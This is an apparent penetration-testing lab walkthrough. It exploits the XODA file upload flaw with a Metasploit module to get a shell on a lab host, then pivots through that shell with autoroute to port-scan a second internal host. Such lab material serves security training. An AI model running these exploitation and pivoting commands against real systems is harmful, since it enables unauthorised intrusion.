Lab
Network Service Scanning is part of both the exploitation and post-exploitation phases, and deals with identifying the services running on remote hosts.
This lab gives access to a Kali machine and two targets. One target sits on the same network and is reachable directly; it can be exploited with the information below to get a shell. The second target is only reachable through the first.
Vulnerability information:
- Vulnerability: XODA File Upload Vulnerability
- Metasploit module:
exploit/unix/webapp/xoda_file_upload
Mission
- Identify the ports open on the second target machine using the appropriate Metasploit modules.
- Write a bash script to scan the ports of the second target machine.
- Upload the nmap static binary to the target machine and identify the services running on the second target machine.
Identify IP of Target
The first target is 192.143.67.3.
Start PostgreSQL and msfconsole
Start the database, launch the console, then confirm the database is connected with db_status.
service postgresql start && msfconsole
db_status
Create a Workspace
workspace -a Port_Scan
Find and Use the Port Scanner Auxiliary Module
search portscan
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.143.67.3
set PORTS 1-10000
exploit
View the Web Server (80) with Curl
curl 192.143.67.3
Exploit XODA
search XODA
set RHOSTS 192.143.67.3
set TARGETURI /
exploit
Identify Machine #2
Drop into a bash shell and read the interfaces to find the second subnet:
/bin/bash -i
ip a
The second target is 192.99.13.3.
Add a route to it through the session so Metasploit modules can reach it:
run autoroute -s 192.99.13.3
Background the session with CTRL+Z:
Then port scan the second target through the route:
search portscan
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.99.13.3
exploit
use auxiliary/scanner/portscan/tcp= TCP scan
UDP Sweep
search udp_sweep
use auxiliary/scanner/discovery/udp_sweep
Flag
3